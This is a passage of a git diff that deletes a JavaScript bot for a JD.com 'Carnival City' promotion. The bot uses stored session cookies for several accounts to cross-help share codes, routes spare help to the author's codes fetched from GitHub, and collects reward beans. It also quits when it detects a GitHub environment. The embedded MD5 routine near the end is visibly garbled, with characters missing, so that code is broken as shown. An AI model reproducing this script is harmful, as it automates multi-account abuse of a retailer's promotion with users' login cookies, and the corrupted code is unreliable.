s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_carnivalcity_help.js b/backUp/jd_carnivalcity_help.js deleted file mode 100644 index f76ce19..0000000 --- a/backUp/jd_carnivalcity_help.js +++ /dev/null @@ -1,424 +0,0 @@ -/* -京东手机狂欢城活动,每日可获得20+以上京豆(其中20京豆是往期奖励,需第一天参加活动后,第二天才能拿到) -活动时间: 2021-8-9至2021-8-28 -活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com/) - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#京东手机狂欢城助力 -10 0,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, tag=京东手机狂欢城助力, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "10 0,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, tag=京东手机狂欢城助力 - -====================Surge================ -京东手机狂欢城助力 = type=cron,cronexp=10 0,8 * * *,wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js - -============小火箭========= -京东手机狂欢城助力 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity_help.js, cronexpr="10 0,8 * * *", timeout=3600, enable=true -*/ -const $ = new Env('京东手机狂欢城助力'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', allMessage = ''; -let isLoginInfo = {} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let inviteCodes = []; -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.temp = []; - $.updatePkActivityIdRes = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_cityShareCodes.json') - if (!$.updatePkActivityIdRes) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_cityShareCodes.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - $.updatePkActivityIdRes = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_cityShareCodes.json') - } - await requireConfig(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0;//本次运行获得京豆数量 - $.blockAccount = false;//黑号 - message = ''; - await TotalBean(); - isLoginInfo[$.UserName] = $.isLogin - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await JD818(); - await $.wait(1000) - } - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.canHelp = true;//能否助力 - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if (!isLoginInfo[$.UserName]) continue - if ((cookiesArr && cookiesArr.length >= 1) && ($.temp && $.temp.length)) { - console.log(`\n先自己账号内部相互邀请助力`); - for (let j = 0; j < $.temp.length && $.canHelp; j++) { - console.log(`\n${$.UserName} 去助力 ${$.temp[j]}`); - $.delcode = false; - await toHelp($.temp[j].trim()); - if ($.delcode) { - $.temp.splice(j, 1) - j-- - continue - } - } - } - if ($.canHelp && ($.newShareCodes && $.newShareCodes.length)) { - console.log(`\n\n如果有剩余助力机会,则给作者助力`) - for (let j = 0; j < $.newShareCodes.length && $.canHelp; j++) { - console.log(`\n${$.UserName} 去助力 ${$.newShareCodes[j]}`); - $.delcode = false; - await toHelp($.newShareCodes[j].trim()); - if ($.delcode) { - $.newShareCodes.splice(j, 1) - j-- - continue - } - } - } - } - } - // console.log(JSON.stringify($.temp)) - if (allMessage) { - //NODE端,默认每月一日运行进行推送通知一次 - if ($.isNode()) { - await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com/" }); - $.msg($.name, '', allMessage); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function JD818() { - try { - await supportList();//助力情况 - await getHelp();//获取邀请码 - if ($.blockAccount) return - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -//获取助力信息 -function supportList() { - const body = {"apiMapping":"/khc/index/supportList"} - return new Promise( (resolve) => { - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`助力情况:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}`); - message += `邀请好友助力:${data['data']['supportedNums']}/${data['data']['supportNeedNums']}\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }); -} -//助力API -function toHelp(code) { - return new Promise(resolve => { - const body = {"shareId":code,"apiMapping":"/khc/task/doSupport"} - $.post(taskUrl(body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data.data.status === 6) { - console.log(`助力成功`) - } else if (data.data.status === 5) { - console.log(`助力机会已耗尽,跳出助力`); - $.canHelp = false - } else if (data.data.status === 4) { - console.log(`助力码 ${code} 已达上限`); - $.delcode = true - } else if (data.data.status === 3) { - console.log(`已经助力过`); - } else if (data.data.status === 2) { - console.log(`助力码 ${code} 过期`); - $.delcode = true - } else if (data.data.status === 1) { - console.log(`不能助力自己`); - } else if (data.msg.indexOf('请求参数不合规') > -1) { - console.log(`助力码 ${code} 助力码有问题`) - $.delcode = true - } else if (data.msg.indexOf('火爆') > -1) { - console.log(`${data.msg},跳出助力`) - $.canHelp = false - } else { - console.log(`助力码 ${code} 助力结果\n${JSON.stringify(data)}`) - } - if (data['data']['jdNums']) $.beans += data['data']['jdNums']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取邀请码API -function getHelp() { - return new Promise(resolve => { - const body = {"apiMapping":"/khc/task/getSupport"} - $.get(taskUrl(body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`\n\n${$.name}互助码每天都变化,旧的不可继续使用`); - $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.shareId}\n\n`); - $.temp.push(data.data.shareId); - } else { - console.log(`获取邀请码失败:${JSON.stringify(data)}`); - if (data.code === 1002) $.blockAccount = true; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://share.turinglabs.net/api/v3/carnivalcity/query/20/`, 'timeout': 20000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(20000); - resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex] && inviteCodes[tempIndex].split('@') || []; - if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) $.newShareCodes = [...$.updatePkActivityIdRes, ...$.newShareCodes]; - } - // const readShareCodeRes = await readShareCode(); - // if (readShareCodeRes && readShareCodeRes.code === 200) { - // $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - // } - // console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - let shareCodes = []; - if ($.isNode()) { - if (process.env.JD818_SHARECODES) { - if (process.env.JD818_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JD818_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JD818_SHARECODES.split('&'); - } - } - } - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskUrl(body = {}) { - return { - url: `${JD_API_HOST}?appid=guardian-starjd&functionId=carnivalcity_jd_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, - headers: { - "accept": "application/json, text/plain, */*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-cn", - "referer": "https://carnivalcity.m.jd.com/", - "origin": "https://carnivalcity.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function showMsg() { - if ($.beans) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n本次运行获得:${$.beans}京豆\n${message}活动地址:"https://carnivalcity.m.jd.com/"${$.index !== cookiesArr.length ? '\n\n' : ''}` - } - $.msg($.name, `京东账号${$.index} ${$.nickName || $.UserName}`, `${message}具体详情点击弹窗跳转后即可查看`, {"open-url": "https://carnivalcity.m.jd.com/"}); -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 